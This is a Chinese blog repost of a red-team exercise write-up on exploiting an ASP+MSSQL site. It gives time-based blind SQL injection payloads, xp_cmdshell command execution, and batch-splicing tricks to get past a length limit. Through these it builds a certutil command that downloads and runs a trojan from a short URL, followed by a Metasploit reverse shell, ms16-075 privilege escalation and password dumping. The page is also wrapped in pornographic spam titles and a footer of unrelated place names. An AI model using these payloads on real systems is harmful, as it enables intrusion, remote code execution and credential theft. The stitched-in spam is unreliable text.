亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

asp+mssql的注入和命令執行是怎樣的

發布時間:2021-11-11 18:07:53 來源:億速云 閱讀:216 作者:柒染 欄目:網絡管理

asp+mssql的注入和命令執行是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

前言

在hw中有遇到一個站點,存在mssql的注入和命令執行漏洞,在進行利用的時候遇到了一些阻礙。

過程

首先進行信息收集,發現在一個高端口開著一個論壇服務,于是打開站點進行常規的測試,在用戶名處,在搜索框處,在輸入單引號之后得到報錯,這很有可能就是注入點,因為之前沒有做過asp+mssql的注入,所以去請教了大佬,站點是get傳參,大佬經過測試發現可以通過post傳參(應該是使用了asp的Request.Form函數),不能通過bool盲注,但是可以通過堆疊時間盲注進行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --這里可以通過burp的測試器進行測試,把a-z0-9添加到字典中,之后進行枚舉,判斷返回時間,下面舉個例子 asp+mssql的注入和命令執行是怎樣的 枚舉到t時得到延時5秒,證明數據庫的第一個字符為tasp+mssql的注入和命令執行是怎樣的 接下來使用burp的測試器 修改要測試的位置 asp+mssql的注入和命令執行是怎樣的 添加字典 asp+mssql的注入和命令執行是怎樣的 修改線程 asp+mssql的注入和命令執行是怎樣的 查看結果 asp+mssql的注入和命令執行是怎樣的 按時間排序 asp+mssql的注入和命令執行是怎樣的 得到數據庫的下一位為e,接下來得到數據庫名稱。 判斷用戶是否為dba權限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--,但是執行這個代碼發現沒有延時,無論是<1還是>=1都沒有回顯,可能是因為手工的方式不太對,所以丟到sqlmap asp+mssql的注入和命令執行是怎樣的 發現可以注入,之后使用--is-dba 判斷是否為dba權限 asp+mssql的注入和命令執行是怎樣的 不是dba權限,繼續注入出其他數據庫--dbsasp+mssql的注入和命令執行是怎樣的 發現沒有回顯,而且sqlmap沒有檢測出waf,所以就要分析一下payload和后端的問題了,想到這里是搜索框,并且默認是get傳參,那么是不是可能限制了字符串長度,于是修改payload為';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --通過調整單引號長度,來測試最大為多大長度時可以延時,經過枚舉,發現后端的長度限制為60,那么在注入的時候就只能通過存儲過程來注入,這樣是非常麻煩的,還有一種辦法就是通過mssql的xp_cmdshell函數來執行命令,當然因為前面有對字符串的長度有限制,所以每次執行的命令長度也有限制,';exec master..xp_cmdshell ''--為執行命令的基本長度,為31,所以我們執行命令的長度最大為29,而且還要考慮殺軟的問題,因為經過本地測試,如果存在殺軟,那么命令是無法執行成功的 asp+mssql的注入和命令執行是怎樣的 哪怕是ping命令甚至是錯誤的命令都不能執行,所以要對目標是否存在殺軟進行測試,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--執行之后等待了4秒,成功得到回顯,證明對面目標沒有殺軟或者殺軟不為測試的某衛士 想到可以通過系統的下載命令進行下載,配合上短域名即可實現文件下載,但是經過測試,常規的下載命令,配合短域名之后長度會達到34位 asp+mssql的注入和命令執行是怎樣的 而且還會涉及下載目錄問題,還有下載的文件的執行問題。 在之前復現phpstudy命令執行漏洞寫shell的時候學習到了在系統下echo 123>1.txtecho 123>>1.txt兩種寫入方式的區別,通過第二種方式即可實現寫入文件,于是進行本地復現 asp+mssql的注入和命令執行是怎樣的 經過寫入兩次文件,但是命令根本不在一行,這樣是無法執行的,這時候想起了之前在ctfhub上面做的命令執行,想到在linux下可以通過拼接來繞過過濾,實現命令執行,那么windows下是不是也可以呢,找到了度娘,可以通過以下方式來進行字符串拼接

@echo off
 certuti
 l 
 %a%%b%

于是把下載的命令進行構造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe經過字符串拼接,現在本地進行測試,

@echo off
 certuti
 l 
 %a%%b%
 che 
 %q%%a%
 it  ht
 %q%%a%
 tp://suo
 %q%%a%
 .im/5UEW
 %q%%a%
 nn 
 %q%%a%
 %%temp%%
 %q%%a%
 /1.exe
 %q%%a%
 %q%
pause

asp+mssql的注入和命令執行是怎樣的 發現已經拼接成功,并且可以執行,所以進行構造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--為需要的最基本的長度。為45個字符 而且還需要保證字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--為61個字符,這樣已經不能夠正常的執行命令,所以要對payload進行縮減,把寫入文件的擴展名去掉,在寫完文件之后使用copy命令進行重命名 所以payload為';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--,經過構造得到完整的payload

 @echo off>>%temp%/3
  certuti>>%temp%/3
  l >>%temp%/3
  %a%%b%>>%temp%/3
  che >>%temp%/3
  %q%%a%>>%temp%/3
  it  ht>>%temp%/3
  %q%%a%>>%temp%/3
  tp://suo>>%temp%/3
  %q%%a%>>%temp%/3
  .im/5UEW>>%temp%/3
  %q%%a%>>%temp%/3
  nn >>%temp%/3
  %q%%a%>>%temp%/3
  %%temp%%>>%temp%/3
  %q%%a%>>%temp%/3
  /1.exe>>%temp%/3
  %q%%a%>>%temp%/3
 %q%>>%temp%/3
copy %temp%\3 %temp%\3.bat
%temp%\3.bat
%temp%\1.exe

思路就是通過把命令寫入文件,之后通過copy命令把無后綴的文件變成bat,進行執行里面的下載命令,遠程下載muma到指定目錄,之后通過命令執行來運行muma,當然還要先測試目標是否出網和是否是dba,開啟了xp_cmdshell

show advanced options

xp_cmdshell

ftp x.x.x.x

服務器執行nc -lvvp 21如果有回顯,證明目標可以執行命令并且出網 asp+mssql的注入和命令執行是怎樣的 接下來首先進行本地測試,測試命令是否執行成功,能否成功寫入文件, asp+mssql的注入和命令執行是怎樣的 發現命令已經執行成功,但是沒有寫入文件,于是修改asp代碼,顯示sql語句,下面是我本地復現的代碼

<%
mssql_datahost  

 

mssql_username   

mssql_password   

connstr  &mssql_username&&mssql_password&&mssql_dataname&

Set conn  Server.CreateObject()

conn.Open connstr




dim keyword
Request.Form()
left(keyword,60)
StrSql   & keyword & 
Response.Write(StrSql)
Conn.Execute(StrSql)
%>

發現是%沒有編碼,在post傳參中被url解碼消失了,所以修改payload

%20@echo%20off>>%25temp%25/3
%20setcertuti>>%25temp%25/3
%20setl%20-urlca>>%25temp%25/3
%20set%25a%25%25b%25>>%25temp%25/3
%20setche%20-spl>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20setit%20-f%20ht>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20settp://suo>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20set.im/5UEW>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20setnn%20>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20set%25%25temp%25%25>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20set/1.exe>>%25temp%25/3
%20set%25q%25%25a%25>>%25temp%25/3
%20%25q%25>>%25temp%25/3
copy%20%25temp%25\3%20%25temp%25\3.bat
%25temp%25\3.bat
%25temp%25\1.exe

執行之后,msf收到shell,查看權限 asp+mssql的注入和命令執行是怎樣的 通過tasklist命令查看是否存在殺軟和本地運行的進程 因為本地權限較低,所以需要提權抓取密碼

use post/multi/recon/local_exploit_suggester

使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻擊目標提權的漏洞利用的exp模塊。 之后使用ms16075進行本地提權 asp+mssql的注入和命令執行是怎樣的 獲得system權限,抓取密碼 asp+mssql的注入和命令執行是怎樣的

總結

因為之前對asp+mssql沒有過接觸,所以剛一碰到目標的時候很麻爪,包括在進行權限維持和橫向的時候,還沒來得及做,就已經被發現了,之前使用msf的時候都是在自己的虛擬機里,環境和真實環境有很多差異,而且,msf的反彈使用了reserve_tcp,并且沒有使用rc4或者https來加密流量,導致權限只拿下來了2個小時就被防守方發現,并且關閉了網站。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

泊头市| 林州市| 镇安县| 淮南市| 达州市| 汕头市| 南川市| 沂水县| 宜昌市| 玉山县| 杭锦后旗| 华亭县| 日土县| 安阳县| 沁源县| 壤塘县| 林西县| 玉门市| 兴化市| 隆化县| 金乡县| 鲁甸县| 泽普县| 肇州县| 西吉县| 临汾市| 莱州市| 延长县| 奈曼旗| 襄汾县| 盐边县| 林芝县| 北宁市| 图木舒克市| 石阡县| 嘉兴市| 庄河市| 康保县| 南开区| 建始县| 潜江市|